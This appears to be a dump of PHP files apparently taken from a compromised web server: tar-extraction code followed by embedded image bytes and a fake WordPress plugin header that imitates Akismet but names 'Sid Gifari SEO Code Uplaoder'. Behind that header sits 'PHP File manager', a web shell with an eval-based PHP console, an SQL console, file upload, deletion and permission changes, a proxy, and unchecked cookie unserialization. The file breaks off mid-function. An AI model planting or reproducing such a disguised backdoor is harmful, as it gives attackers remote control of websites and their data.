			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                host.php                                                                                            0000644                 00000236720 15212004204 0006232 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+



-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
.....................................................................................................................................<?php
/**
 * @package Akismet
 */
/*
Plugin Name: Sid Gifari SEO Code Uplaoder
Plugin URI: 
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.4
Requires at least: 5.8
Requires PHP: 7.2
Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team
Author URI: 
*/

		/*  %s: Title of the post the attachment is attached to. */
		

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Copyright 2005-2025 Automattic, Inc.
*/

?>
.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
